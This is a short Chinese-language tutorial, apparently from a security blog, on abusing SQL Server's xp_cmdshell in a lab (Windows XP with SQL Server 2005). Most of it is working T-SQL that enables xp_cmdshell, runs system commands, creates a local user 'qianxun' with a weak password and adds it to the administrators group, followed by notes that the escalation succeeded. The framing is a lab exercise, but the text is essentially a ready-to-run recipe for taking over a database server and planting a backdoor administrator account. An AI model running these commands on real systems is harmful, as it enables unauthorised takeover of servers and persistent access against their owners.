【SQL Server】xp_cmdshell获取服务器最高权限
实验环境:windowsXP + sql server2005
sp_configure —> '显示高级选项’选项用来显示sp_configure系统存储过程高级选项。当‘显示高级选项’设置为1时,可以使用sp_configure列出高级选项,默认值为0。
exec sp_configure 'show advanced options', 1;reconfigure;
-- 需将show ad advanced options置为1才能列出高级选项
exec sp_configure 'xp_cmdshell', 1;reconfigure;
-- 开启xp_cmdshell
exec master..xp_cmdshell 'whoami';
exec master..xp_cmdshell 'net user qianxun 123456 /add'; -- 创建用户
exec master..xp_cmdshell 'net localgroup administrators qianxun /add'; -- 提权
可以尝试执行系统命令net user
:
如图所示,回显出执行结果。
创建一个用户qianxun:
如图所示,创建成功!
查看隶属于哪个组(用户级别):
属于users组,说明是普通用户。
将用户qianxun添加至administrators组:
再次查看所属组:
如图所示,提权成功!